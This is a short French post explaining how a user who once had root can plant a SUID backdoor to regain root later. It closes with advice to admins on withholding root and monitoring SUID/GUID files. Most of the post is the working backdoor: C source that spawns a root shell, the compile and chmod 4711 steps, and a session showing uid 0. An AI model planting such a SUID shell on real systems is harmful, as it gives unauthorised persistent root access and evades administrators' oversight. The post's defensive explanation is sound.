Script pour repasser root

Une fois qu’un user a eu les droits root une fois, il est très simple pour lui de se créer un moyen de repasser root ultérieurement sans avoir à rentrer de mot de passe…

Conclusion:

• Ne pas donner un accès root à un user en se disant que de toute façon on changera le mot de passe après.
• Surveiller les fichiers SUID/GUID du système

$ cat /tmp/back.c   

#include <unistd.h>  
int main(int ac, char av)  
{  
setuid(0);  
setgid(0);  
execl("/bin/sh", "sh", 0);  
}

# gcc -o backd back.c  
# chmod 4711 backd  
# ll /tmp/|grep back  
-rw-r--r-- 1 root root 101 Apr 13 11:01 back.c  
-rws--x--x 1 root root 7242 Apr 13 11:02 backd  

$ ./backd   
sh-3.00# id  
uid=0(root) gid=0(root) groupes=[...]  
sh-3.00#   
sh-3.00# whoami  
root  
sh-3.00#